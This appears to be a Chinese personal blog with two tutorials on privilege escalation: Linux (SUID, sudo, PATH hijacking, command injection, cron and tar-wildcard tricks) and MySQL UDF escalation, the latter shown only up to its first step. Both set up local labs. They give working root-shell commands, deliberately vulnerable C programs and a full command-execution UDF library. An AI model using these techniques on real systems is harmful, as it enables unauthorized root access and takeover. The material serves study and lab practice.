欢迎来到ZLARYY的个人博客，或许里面有什么好玩的东西~

Linux提权

2026-06-19T14:10:00.000Z

# Linux提权（持续更新中......）

# Linux权限模型

Linux权限模型主要围绕三个组展开：

U：所有者、用户，user
G：用户组，group
O：其他人，other

而每个组又由三个权限位构成：

r：读权限
w：写权限
x：可执行权限

我们可以通过whoami和id查看当前用户和用户所属组以及UID：

这里表明当前用户：kali，用户UID：1000，主用户组：kali，所在组：kali

Linux里权限最高的用户是root，root的UID永远是0

Linux中常见的用户有：

root:超级管理员
kali:普通登录用户
www-data:web服务用户
mysql:MySQL服务用户
postgres:PostgreSQL服务用户
nobody:极低权限用户

# /etc/passwd

用户信息一般存在/etc/passwd里面，可以通过cat命令查看

其每一行格式为：

用户名:密码占位符:UID:GID:描述:用户的主目录:登录shell

用户名：用于区分不同用户，同一系统中登录名是唯一的，在很多系统上该字段被限制在8个字符的长度之内
passwd：用来验证用户的合法性，现在的UNIX/Linux系统中密码不再直接保存在passwd中，通常将passwd文件中的密码字段用一个x来代替，将/etc/shadow作为真正的密码文件，保存包括个人密码在内的数据，当然，shadow文件只有超级用户才有权限读取。特别的，如果passwd字段中的第一个字符是*，就表示该账号被查封了，系统不允许持有该账号的用户登录
用户标志号（UID）：是Linux系统中唯一的用户标志，用于区分不同的用户，在系统内部管理进程和文件保护时使用UID字段，在Linux系统中，用户名和UID都可以用来标志用户，只不过对系统来说UID更重要，对用户来说，用户名更方便，在某些特定的目的下，系统中可以存在多个拥有不同登录名而UID相同的用户，事实上，这些使用不同登录名的用户实际上是同一个用户
组标志号（GID）：当前用户的默认工作组标志，具有相似属性的多个用户被分配到同一个组内，每个组都有自己的组名并且以自己的组标志号相区分。UNIX/Linux中的用户可以同时属于多个组，除了在passwd文件中指定其归属基本组，还可以在/etc/group文件中明确地指定某个组包含某用户，使该用户属于多个组
用户的全名或其他描述：包含有关用户的一些信息，如用户的真实姓名、办公室地址、联系电话等。在Linux中，mail和finger等程序用这些信息来标志系统的用户
用户的主目录：定义了个人用户的主目录，当用户登录之后，他的用户将把该目录作为用户的工作目录。在UNIX/Linux系统中，超级用户root的工作目录为/root，而其他个人用户在/home目录下均有自己独立的工作环境，系统在该目录下位每个用户配置了自己的主目录。个人用户的文件都放置在各自的主目录下。通常，管理员使用用户登录名作为用户主目录的名称。多数shell环境使用~来代表该用户的主目录。
登录shell：shell是用户登录系统时运行的程序名称，通常是一个shell程序的全路径名，如/bin/bash

用户密码哈希一般存在：/etc/shadow中，通过ls -l /etc/shadow可以查看权限

表示文件属于root，文件组是shadow，root可以读写，shadow组可以读，其他人没有权限

# 权限位

随便查看一个文件的权限可以看到-rwxrwxr-x

-:文件类型
第一个rwx:文件所有者权限
第二个rxw:所属组权限
r-x：其他人权限（不可写）

在文件类型中：-表示普通文件；d表示目录；|表示软链接；c表示字符设备；b表示块设备

Linux中也常用数字表示权限：r为4；w为2；x为1，所以chmod 777 ex1就是表示将ex1文件的权限修改为-rwxrwxrwx，chmod 755 ex1表示权限修改为-rwxr-xr-x

常见权限有：777，755，644，600，700

但是目录权限和文件权限不完全一样，对目录来说，r表示能列出目录内容，w表示能在目录中创建、删除、重命名文件，x表示能进入目录，访问目录里的文件

另外我们了解chown和chgrp命令：

chown：修改文件所有者，chown 用户文件

chgrp：修改文件所属组，chgrp 用户文件

实现同时修改文件用户和组：

sudo chown root:root ex1

# 用户组

有些时候不是root用户，但属于某些特殊组，也可能拥有很高权限

查看当前用户所属组的命令是id

常见危险用户组：

sudo:可能可以使用sudo提权
docker:可以挂载主机文件系统
lxd:可以通过容器挂载根目录提权
disk:可能直接读取磁盘
adm:可以读取大量日志
shadow:可能读取/etc/passwd
root:高危
staff:某些系统中有额外写权限

sudo权限：以其他用户身份执行命令，通常是root

查看当前用户能执行什么sudo命令：sudo -l

可以看到：

User kali may run the following commands:
    (ALL : ALL) ALL

说明这个用户可以执行任意root命令，如果配置错误，比如：

(root) NOPASSWD: /usr/bin/vim

表示当前用户可以免密码以root身份运行vim

# SUID、SGID、Sticky Bit

普通权限是rwx，但Linux还有特殊权限，其中最重要的是SUID，如果一个程序拥有SUID权限，那么谁执行它，它都会以文件所有者的身份运行。如果文件所有者是root，那么普通用户执行它时，也会短暂拥有root权限

比如ls -l /usr/bin/passwd

这里不再是rwx而是rws，里面的s表示的就是SUID

普通用户在执行修改密码的命令时，程序需要修改/etc/passwd文件，但是这个文件只有root可写，所以给这个程序设置SUID权限，让普通用户执行passwd时，临时拥有root权限

在上述参考文章中也提到了s权限位：每当一个可执行文件的U类别的权限位出现s，那么这个可执行文件变成做setuid二进制文件。每当一个setuid二进制文件运行时，其相应的进程的EUID便被设置为二进制文件的UID，针对passwd而言，进程的EUID被设置为0，也即使进程具备根权限。故其可以使普通用户更改相应的密码。并且可以通过chown和chmod更改文件的的权限位并设置权限位为s。

注意：只有可以执行的二进制程序文件才能设定SUID权限，非二进制文件设置SUID权限没有意义；命令执行者要对该程序文件拥有执行权限（x）；命令执行者在执行该程序时获得该程序文件属主的身份；SUID权限只在该程序执行过程中有效

SGID特殊权限与SUID类似，只不过其代表执行时继承文件所属组身份，权限位表现为-rwxr-sr-x

Sticky Bit特殊权限常见于/tmp

最后的t就是Sticky Bit，他的作用是让所有人可以在/tmp里面创建文件，但是只能删除自己的文件而不能随便删除别人的文件

SUID、SGID、Sticky Bit的数字表示分别为4、2、1

chmod 4755 ex1表示给ex1文件设置SUID权限

chmod 2755 dir1表示给dir1文件设置SGID权限

chmod 1777 /tmp表示给/tmp公共可写目录设置Sticky Bit

# 进程权限

查看进程：ps aux

如果我们看到的是：

root       1234  0.0  nginx: master process
www-data   1235  0.0  nginx: worker process

说明nginx主进程是root，工作进程是www-data

在Linux中有两个身份：Real UID和Effective UID

Real UID：真实用户ID，表示谁启动了这个程序

Effective UID：有效用户ID，也就是程序实际用谁的权限运行

Linux在判断权限时主要查看euid，也就是Effective UID

# SUID提权

接下来我们正式进入Linux提权，首先学习SUID提权：利用某些二进制文件设置了SUID权限，从而用root权限执行系统命令

设置SUID：

# 设置SUID位
chmod u+s filename
# 去掉SUID设置
chmod u-s filename

如果某一个程序的权限是：

-rwsr-xr-x 1 root root /usr/local/bin/backup

那么说明这个程序backup属于root，并且有SUID

如果这个程序内部存在危险代码比如：

system("sh");

那么普通用户执行它时这些命令就可以以root权限运行

常见的可以用来提权的命令：

nmap
vim
find
bash
more
less
nano
cp
awk
mv

查找SUID文件：

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

# 本地靶场搭建

在我们的虚拟机中执行以下命令：

# 安装相关工具
sudo apt update
sudo apt install -y gcc make strace ltrace

# 创建低权限用户，用suiduser模拟
sudo useradd -m -s /bin/bash suiduser
echo 'suiduser:123456' | sudo chpasswd

# 切换为低权限用户，密码为123456
su - suiduser

退出低权限用户是exit

用带有sudo权限的用户执行：

sudo cp /bin/bash /usr/local/bin/rootbash
sudo chown root:root /usr/local/bin/rootbash
sudo chmod 4755 /usr/local/bin/rootbash

这样我们就创建了一个带有SUID权限的/usr/local/bin/rootbash

# bash提权

bash命令是用来打开一个shell，同时它具有执行命令的能力，因此，如果配置为使用SUID权限运行，则可以通过bash执行的命令都将以root身份去运行

这里我们搭建了带有SUID权限的/usr/local/bin/rootbash模拟搜索带有SUID权限文件搜索到/bin/bash的情况，回到低权限用户之后我们尝试执行：

# -p表示preserve privileges保留权限
/usr/local/bin/rootbash -p

可以看到我们的euid变成了root进程，接下来我们就可以查看低权限用户不可查看的/etc/shadow文件了

正常情况下的提权需要我们用之前提到过的搜索带有SUID权限的文件，然后对搜索到的文件进行分析，重点查案这些字符串里面是否存在：

/bin/sh
bash
sh
cat
cp
tar
find
python
perl
chmod
chown
system
backup

# find提权

find比较常用，find用来在系统中查找文件，同时它也有执行命令的能力，因此如果配置为SUID权限运行则可以通过find执行的命令都将以root身份运行

仿照配置带有SUID的bash文件，我们执行：

sudo cp /bin/find /usr/local/bin/rootfind
sudo chown root:root /usr/local/bin/rootfind
sudo chmod 4755 /usr/local/bin/rootfind

接下来我们回到低权限用户尝试利用这个带有SUID的文件

# anyfile文件必须存在
touch anyfile
/usr/local/bin/rootfind anyfile -exec whoami \;
/usr/local/bin/rootfind . -exec /bin/sh -p \; -quit

# vim提权

利用vim提权的思路是修改/etc/passwd和/etc/shadow文件为自己添加一个拥有root权限的用户

sudo cp /bin/vim /usr/local/bin/supevim
sudo chown root:root /usr/local/bin/supevim
sudo chmod 4755 /usr/local/bin/supevim

1.利用vim添加账号：

/usr/local/bin/supevim /etc/passwd 添加特权用户
添加：ZLARYY:x:0:0::/home/root:/bin/bash
/usr/local/bin/supevim /etc/shadow 添加特权用户
ZLARYY:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

2.利用vim打开交互shell：

/usr/local/bin/supevim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

很多vim不一定支持python，使用这条命令查看：

/usr/local/bin/supevim --version | grep python

看到+python或+python2说明支持python，可以用上面的命令打开交互shell

这里是+python3所以命令需要修改为：

/usr/local/bin/supevim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
或者
/usr/local/bin/supevim -c ':py3 import os; os.setuid(0); os.setgid(0); os.execl("/bin/bash", "bash", "-p")'

# python提权

如果某个python解释器具有SUID root权限，那么普通用户执行它时，python进程的euid会变成root

同样执行下面三条命令进行模拟：

sudo cp /bin/python3 /usr/local/bin/rootpython3
sudo chown root:root /usr/local/bin/rootpython3
sudo chmod 4755 /usr/local/bin/rootpython3

那么我们可以执行：

/usr/local/bin/rootpython3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# PATH路径劫持

漏洞存在于：SUID root程序调用外部命令时，没有写绝对路径，例如程序里写了：

system("backup");

而不是：

system("/usr/local/bin/backup");

那么我们就可以伪造一个叫做backup的文件，让SUID程序以root权限执行它

搭建带有漏洞的SUID程序文件（这里我用的是本地的wsl开启Linux，感觉方便一些，用VM也可以，记住文件地址就好）

将以下C代码命名为backup_suid.c

#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("backup");
    return 0;
}

编译并设置SUID：

gcc backup_suid.c -o backup_suid

sudo mv backup_suid /usr/local/bin/backup_suid
sudo chown root:root /usr/local/bin/backup_suid
sudo chmod 4755 /usr/local/bin/backup_suid

接下来我们以低权限suiduser登录，在/tmp/suid_test目录下创建一个假的backup：

cat > backup << 'EOF'
#!/bin/bash
/bin/bash -p
EOF

这里不直接在/mnt/e目录下添加权限是因为会表现为：

chmod: changing permissions of 'backup': Operation not permitted

然后赋予其执行权限：

chmod +x backup

接下来我们需要修改PATH：

export PATH=/tmp/suid_test:$PATH

之后我们只需要执行/usr/local/bin/baskup_suid就可以实现提权了：

那么为什么修改PATH就可以实现将backup_suid文件里面的backup文件路径转移到/tmp/suid_test呢？

修改PATH的目的是让SUID程序在执行某个命令时，优先执行我们伪造的同名命令

比如，我们在执行ls的时候，其实没有写完整路径/bin/ls，那么系统就会从PATH环境变量里面按顺序寻找，假设echo $PATH输出结果为：

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

例如执行ls，那么系统会按顺序寻找：

/usr/local/sbin/ls
/usr/local/bin/ls
/usr/sbin/ls
/usr/bin/ls
/sbin//ls
/bin/ls

找到第一个能执行的就运行它

由于我们的backup_suid文件里面的不是完整路径，所以系统会通过PATH寻找backup，如果我们通过命令将当前伪造的backup置于PATH的最前面，那么系统在寻找backup时会先找/tmp/suid_test/backup，那么实际上也就是执行了：

system("/bin/bash -p");

学习一下PATH环境变量吧：

PATH：shell从中查找命令的目录列表，PATH变量包含带:分界符的字符串，这些字符串指向含有用户所使用命令的目录，用户可以设置它，例如主目录下有一个bin目录，用于存放自己编写的所有可执行程序，要把这个目录加到PATH变量中可以执行：

PATH=$PATH:$HOME/bin

即在当前的命令查找路径下增加一个目录$HOME/bin，如果使用bash，那么可以把它加到.bash_profile文件中，这样他会在每次注册时起作用，在一般情况下，PATH变量中往往有一个目录/usr/local/bin，这个目录中的命令并不是Linux标准命令，而是由系统管理员添加和维护的、供所有用户使用的命令。如果PATH变量中不存在这个目录，用户可以自己把他加进去。

PATH值中的字符串的顺序决定了先从哪个目录查找，假如用户自己编写了一个ls命令，放在自己主目录的bin下，用户的PATH变量为$HOME/bin:/bin:/usr/bin，则意味着，用户输入一个ls命令，Linux会首先使用用户主目录下的bin目录中用户自己写的ls命令，若找不到才会使用/bin或者/usr/bin下的ls命令

# 命令注入提权

这一场景属于SUID程序接受用户输入然后拼接到系统命令中执行

搭建靶场：

创建一个只有root能读的文件：

echo 'ZLARYY{10cal_5uid_connm@nd_inJecti0n_te5t}' | sudo tee /root/suid_flag.txt
sudo chmod 600 /root/suid_flag.txt

编写一个带有漏洞的C程序：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    char cmd[512];

    if (argc < 2) {
        printf("Usage: %s <filename>\n", argv[0]);
        return 1;
    }

    setuid(0);
    setgid(0);

    snprintf(cmd, sizeof(cmd), "cat /var/backups/%s", argv[1]);
    system(cmd);

    return 0;
}

这个文件本来是用作读取/var/backups/目录下的某个文件，但是：

snprintf(cmd, sizeof(cmd), "cat /var/backups/%s", argv[1]);
system(cmd);

这一行允许它把用户输入直接拼接进入命令，再交给system()执行

编译并设置SUID：

gcc read_backup.c -o read_backup
sudo mv read_backup /usr/local/bin/read_backup
sudo chown root:root /usr/local/bin/read_backup
sudo chmod 4755 /usr/local/bin/read_backup

为了模拟正常代码查询/var/backups逻辑，我们在其目录下创建一个文件：

echo 'ZLARYY{thi5_1s_a_fake_fl@g!}' | sudo tee /var/backups/test.txt

接下来我们登录低权限用户完成命令执行注入：

# 正常查询
/usr/local/bin/read_backup test.txt

# 命令注入whoami
/usr/local/bin/read_backup 'test.txt;whoami;id;cat /root/suid_flag.txt'

那么可操作范围就很大了，还可以直接弹shell：

/usr/local/bin/read_backup 'test.txt; /bin/bash -p'

# SUDO提权

sudo是Linux系统管理指令，是允许系统管理员让普通用户执行一些或全部的root命令的一个工具，如reboot、su等等。这样不仅减少了root用户的登录和管理时间，同样也提高了安全性，sudo不是对shell的一个替代，它是面向每个命令，在一些应用场景里面，为了方便运维人员以低权限账号进行运维，往往会开启账号的一些SUDO权限给运维账号，而SUDO权限的授予在/etc/sudoers中进行操作，具体格式：

cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get

sudo：superuser do，也就是以超级用户或其他用户身份执行命令

# 普通用户执行
whoami
suiduser
# 加上sudo指令
sudo whoami
root

/etc/sudoers：规定了哪个用户可以用sudo、可以以谁的身份执行命令、可以执行哪些命令、需不需要输入密码，比如有这么一段：

testuser ALL=(root) NOPASSWD: /usr/bin/vim

意思是：testuser用户可以在任何主机上以root身份免密码执行/usr/bin/vim

cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
cseroad表示用户名
第一个ALL指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令

那么这个vim就是root权限，如果vim可以执行shell命令，那么就可以进一步有得到root shell

sudo -l这个命令可以列出当前用户可以通过sudo执行哪些命令

如果sudo配置文件配置了ALL或者以下的命令就可以进行提权：

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen

提权命令如下：

一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

# 本地靶场测试(vim)

我们直接沿用上一个靶场里面的suiduser用户

需要配置一个sudo规则：

echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/vim' | sudo tee /etc/sudoers.d/sudo-lab
sudo chmod 440 /etc/sudoers.d/sudo-lab
sudo visudo -cf /etc/sudoers.d/sudo-lab

接下来我们切换到低权限用户：

su - suiduser

# 提权流程

执行：sudo -l

那么我们可以免密码以root身份执行vim命令了

sudo /usr/bin/vim

执行完这个语句我们在vim里面输入

:!/bin/bash

# 本地靶场测试(find)

以root身份添加配置规则：

echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/find' | sudo tee /etc/sudoers.d/sudo-lab
sudo chmod 440 /etc/sudoers.d/sudo-lab
sudo visudo -cf /etc/sudoers.d/sudo-lab

然后进入到suiduser

# 提权流程

执行sudo -l：

接着我们可以执行：

sudo /usr/bin/find . -exec /bin/bash \; -quit

# 本地靶场搭建(python3)

回到root用户先执行：

which python3

一般是/usr/bin/python3，那么我们执行：

echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/python3' | sudo tee /etc/sudoers.d/sudo-lab
sudo chmod 440 /etc/sudoers.d/sudo-lab
sudo visudo -cf /etc/sudoers.d/sudo-lab

# 提权流程

切换至低权限用户依旧先用sudo -l查看是否显示：

User suiduser may run the following commands on LAPTOP-6C4POS0O:
    (root) NOPASSWD: /usr/bin/python3

然后我们可以尝试：

sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
或
sudo /usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash")'

# 计划任务提权

计划任务提权（又称Cron提权）：系统中有些定时任务会以root身份自动执行，如果普通用户能修改这个定时任务执行的脚本、命令、路径或环境，就可以让root定时帮我们执行命令，从而提权

Linux计划任务命令如下：

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在/etc/cron*下：

# 查看系统级计划任务
/etc/crontab

如果存在如下：

* * * * * root /opt/backup.sh

表示每分钟以root身份执行/opt/backup.sh，前五个*分别表示分钟、小时、日期、月份、星期

即：

* * * * *      每分钟执行
0 * * * *      每小时第 0 分钟执行
0 3 * * *      每天凌晨 3 点执行
*/5 * * * *    每 5 分钟执行

查看cron目录：

ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

这些目录里的脚本也可能被系统定时执行

查找带有SUID或777权限文件命令：

# 查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
# 查找777文件
find / -perm 777 -print 2>/dev/null

# 本地靶场搭建

依旧沿用之前的低权限用户suiduser

在root权限下执行：

sudo mkdir -p /opt/cron-lab

创建一个备份脚本：

cat << 'EOF' | sudo tee /opt/cron-lab/backup.sh
#!/bin/bash
echo "backup running at $(date)" >> /tmp/cron-lab.log
EOF

给他设置可执行权限并且所有人可写：

sudo chmod 777 /opt/cron-lab/backup.sh

配置root计划任务

cat << 'EOF' | sudo tee /etc/cron.d/cron-lab
* * * * * root /opt/cron-lab/backup.sh
EOF

设置权限：

sudo chmod 644 /etc/cron.d/cron-lab

查看计划任务：（应该看到* * * * * root /opt/cron-lab/backup.sh）

cat /etc/cron.d/cron-lab

意思是每分钟以root身份执行/opt/cron-lab/backup.sh

# 提权流程

我们以低权限用户执行ls -l /opt/cron-lab/backup.sh：

发现可写之后我们写入提权命令：

cat > /opt/cron-lab/backup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF

cp /bin/bash /tmp/rootbash表示复制一个bash到/tmp/rootbash

chmod 4755 /tmp/rootbash给这个bash设置SUID权限

由于这个脚本会被root的cron执行，所以/tmp/rootbash会变成：

-rwsr-xr-x 1 root root /tmp/rootbash

等待一分钟我们执行ls -l /tmp/rootbash

发现其已具备SUID权限，所以我们可以直接利用SUID的bash提权：

/tmp/rootbash -p

# 利用通配符进行提权

通配符提权通常和计划任务提权搭配出现

* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围，比如[0-9]

假设有这么一条命令：

tar -czf /tmp/backup.tar.gz *

他的意思是把当前目录下的所有文件打包，但是在Linux shell中，*会首先被shell展开成当前目录下的为文件名，假设目录下有这些文件：

a.txt
b.txt
--checkpoint=1
--checkpoint-action=exec=sh shell.sh

那么上述命令实际上会变成类似：

tar -czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh a.txt b.txt

然而

--checkpoint=1
--checkpoint-action=exec=sh shell.sh

这两个文件会被tar当作参数而不是普通文件名

其中--checkpoint-action=exec=sh shell.sh会让tar执行sh shell.sh，如果这个tar是由root的计划任务执行的，那么shell.sh也会以root执行

其需要满足：

1. 有 root 或高权限用户执行的脚本
2. 脚本中使用了通配符 *
3. 通配符作用的目录普通用户可写
4. 使用的命令会把特殊文件名当作参数
5. 普通用户能创建特殊文件名

# 本地靶场搭建

沿用suiduser低权限用户

首先我们创建一个普通用户可写的目录：

sudo mkdir -p /opt/wildcard-lab/input
sudo chmod 777 /opt/wildcard-lab/input
ls -ld /opt/wildcard-lab/input

这样root脚本会用*代替这个目录的所有文件，而普通用户可以往这个目录里写文件

创建root备份脚本

cat << 'EOF' | sudo tee /opt/wildcard-lab/backup.sh
#!/bin/bash
cd /opt/wildcard-lab/input
tar -czf /tmp/wildcard-backup.tar.gz *
EOF

sudo chmod 755 /opt/wildcard-lab/backup.sh
ls -l /opt/wildcard-lab/backup.sh

这个执行脚本与之前提到的777不同之处在于，在通配符提权中我们不需要对执行脚本做修改

接下来我们配置计划任务：

cat << 'EOF' | sudo tee /etc/cron.d/wildcard-lab
* * * * * root /opt/wildcard-lab/backup.sh
EOF

sudo chmod 644 /etc/cron.d/wildcard-lab
cat /etc/cron.d/wildcard-lab

# 提权流程

接下来我们以suiduser身份去实现提权

真实渗透场景我们还是需要先查看计划任务文件：

cat /etc/cron.d/wildcard-lab
或其他的类似于
cat /etc/cron*

我们进入可写目录/opt/wildcard-lab/input创建一个被root执行的脚本shell.sh并赋予其执行权限：

cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF

chmod +x shell.sh

依然是复制/bin/bash到/tmp/rootbash，然后给复制后的文件设置SUID权限

防止之前的复制文件对本次实验结果产生干扰我们先删除/tmp/rootbash

接下来我们需要创建特殊文件名，使得计划任务在执行脚本的时候将特殊文件名当作参数：

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

这里的--表示后面的内容都当做文件名而不是参数

ls -la可以看到：

等待一分钟之后我们尝试执行ls -l /tmp/rootbash

接下来我们就可以执行/tmp/rootbash -p实现提权了

SQL提权

2026-06-18T12:10:00.000Z

# SQL提权

学完了各种数据库的注入手法，接下来这篇文章我们一起学习一下什么是SQL提权

垂直提权：指从低权限身份到高权限身份，比如从普通用户到管理员

水平越权：严格来说不叫做提权，指的是用户A能够访问用户B的数据，没有变成管理员但是越过了自己的权限边界

数据库到系统权限：原本是数据库权限，通过数据库的危险功能或错误配置今日影响服务器文件系统或操作系统

# MySQL

# UDF提权

UDF提权不是“直接把MySQL用户变成root”，更准确的说是让拥有危险数据库权限的账号，把自定义.so动态库加载进mysqld进程，从而获得mysqld运行账户的系统命令执行能力

所以UDF提权通常是数据库权限到操作系统命令权限

如果mysqld是以mysql用户运行，那么命令也是以mysql用户执行，只有在极端错误配置下，比如mysqld以root运行，才可能直接变成root。

# 本地靶场搭建

我们在本地创建文件夹，在里面存放五个文件，参考命名和结构如下：

mysql_udf_lab
├── docker-compose.yml
├── Dockerfile
├── mysqld.cnf
├── init.sql
└── udf_eval.cc

将以下内容复制进docker-compose.yml：

services:
  mysql:
    build: .
    container_name: mysql-udf-lab
    ports:
      - "127.0.0.1:3308:3306"
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: appdb
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro

这里把MySQL只绑定到127.0.0.1:3308

然后创建mysqld.cnf：

[mysqld]
secure-file-priv=
plugin-dir=/usr/lib/mysql/plugin
skip-log-bin

这里留下漏洞secure-file-priv=：表示不限制MySQL文件导入导出目录，MySQL官方文档说明，secure-file-priv用来限制LOAD DATA、SELECT ... INTO OUTFILE和LOAD_FILE()等文件操作，如果为空就不起限制作用

创建init.sql：

CREATE TABLE appdb.users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50),
    password VARCHAR(100)
);

INSERT INTO appdb.users(username, password) VALUES
('admin', 'admin123'),
('guest', 'guest123'),
('flag', 'ZLARYY{local_udf_realistic_lab}');

CREATE USER 'webapp'@'%' IDENTIFIED BY 'webpass';
GRANT SELECT, INSERT, UPDATE ON appdb.* TO 'webapp'@'%';

CREATE USER 'misconf'@'%' IDENTIFIED BY 'misconfpass';
GRANT SELECT, INSERT, UPDATE ON appdb.* TO 'misconf'@'%';

-- 故意给危险权限
GRANT FILE ON *.* TO 'misconf'@'%';
GRANT INSERT ON mysql.* TO 'misconf'@'%';

FLUSH PRIVILEGES;

创建Dockerfile：

FROM mysql:8.4

USER root

RUN printf '[mysqld]\nsecure-file-priv=\nplugin-dir=/usr/lib/mysql/plugin\nskip-log-bin\n' > /etc/mysql/conf.d/mysqld.cnf \
    && chmod 644 /etc/mysql/conf.d/mysqld.cnf \
    && mkdir -p /usr/lib/mysql/plugin \
    && chown -R mysql:mysql /usr/lib/mysql/plugin \
    && chmod 777 /usr/lib/mysql/plugin

USER mysql

启动靶场：

docker compose up -d --build

以misconf身份进入MySQL：

docker exec -it mysql-udf-real-lab mysql -umisconf -pmisconfpass

# 准备UDF动态库

在虚拟机里可以创建一个文件夹存放udf_eval.cc文件，比如：

mkdir attacker_udf
cd attacker_udf
vim udf_eval.cc

将以下内容写入udf_eval.cc：

#include <mysql.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>

extern "C" {

bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1) {
        std::strcpy(message, "sys_eval() requires exactly one argument");
        return true;
    }

    args->arg_type[0] = STRING_RESULT;

    initid->maybe_null = true;
    initid->max_length = 8192;

    initid->ptr = static_cast<char *>(std::malloc(8192));
    if (initid->ptr == nullptr) {
        std::strcpy(message, "malloc failed");
        return true;
    }

    std::memset(initid->ptr, 0, 8192);
    return false;
}

void sys_eval_deinit(UDF_INIT *initid) {
    if (initid->ptr != nullptr) {
        std::free(initid->ptr);
        initid->ptr = nullptr;
    }
}

char *sys_eval(
    UDF_INIT *initid,
    UDF_ARGS *args,
    char *result,
    unsigned long *length,
    char *is_null,
    char *error
) {
    char *buffer = initid->ptr;

    if (buffer == nullptr) {
        *error = 1;
        return nullptr;
    }

    std::memset(buffer, 0, 8192);
    *is_null = 0;
    *error = 0;

    if (args->args[0] == nullptr) {
        const char *msg = "argument is NULL";
        std::strncpy(buffer, msg, 8191);
        *length = std::strlen(buffer);
        return buffer;
    }

    unsigned long cmd_len = args->lengths[0];

    /*
     * args->args[0] 不一定是以 \0 结尾的 C 字符串，
     * 所以这里手动复制并补 \0。
     *
     * 额外追加 " 2>&1"，这样可以把 stderr 也捕获回来，
     * 方便看到命令错误信息。
     */
    const char *redirect = " 2>&1";
    size_t redirect_len = std::strlen(redirect);

    char *cmd = static_cast<char *>(std::malloc(cmd_len + redirect_len + 1));
    if (cmd == nullptr) {
        const char *msg = "malloc command buffer failed";
        std::strncpy(buffer, msg, 8191);
        *length = std::strlen(buffer);
        return buffer;
    }

    std::memcpy(cmd, args->args[0], cmd_len);
    std::memcpy(cmd + cmd_len, redirect, redirect_len);
    cmd[cmd_len + redirect_len] = '\0';

    FILE *fp = popen(cmd, "r");
    std::free(cmd);

    if (fp == nullptr) {
        const char *msg = "popen failed";
        std::strncpy(buffer, msg, 8191);
        *length = std::strlen(buffer);
        return buffer;
    }

    char temp[512];
    size_t total = 0;

    while (std::fgets(temp, sizeof(temp), fp) != nullptr) {
        size_t len = std::strlen(temp);

        if (total + len >= 8191) {
            len = 8191 - total;
        }

        std::memcpy(buffer + total, temp, len);
        total += len;

        if (total >= 8191) {
            break;
        }
    }

    int status = pclose(fp);

    if (total == 0) {
        std::snprintf(buffer, 8192, "[no output], command status: %d", status);
        total = std::strlen(buffer);
    } else {
        buffer[total] = '\0';
    }

    *length = static_cast<unsigned long>(total);
    return buffer;
}

}

安装编译依赖：

sudo apt update
sudo apt install -y g++ default-libmysqlclient-dev

编译：

g++ -Wall -fPIC -shared \
  -I/usr/include/mysql \
  -o lib_udf_lab.so \
  udf_eval.cc

查看文件：

file lib_udf_lab.so

#应该类似lib_udf_lab.so: ELF 64-bit LSB shared object, x86-64

# UDF提权原理

在MySQL中存在一个错误配置账号misconf，它拥有FILE、mysql.* INSERT等危险权限，并且目标环境的secure_file_priv不限制写入路径、plugin_dir可写，攻击者可以先将自己编译好的UDF动态库lib_udf_lab.so转为十六进制，然后通过select ... into dumpfile /usr/lib/mysql/plugin/lib_udf_lab.so将lib_udf_lab.so写入MySQL插件目录，之后我们可以通过create function sys_eval ... soname 'lib_udf_lab.so'注册自定义UDF函数，MySQL的mysqld进程加载.so动态库之后调用sys_eval()函数触发其内部的system("id")调用UDF内部的system()从而实现以mysqld进程用户身份执行系统命令

# 提权流程

在真实测试中，我们需要检查当前用户是否具备写入文件权限和secure_file_priv是否为空：

SHOW GRANTS;

GRANT FILE ON *.* TO `misconf`@`%`
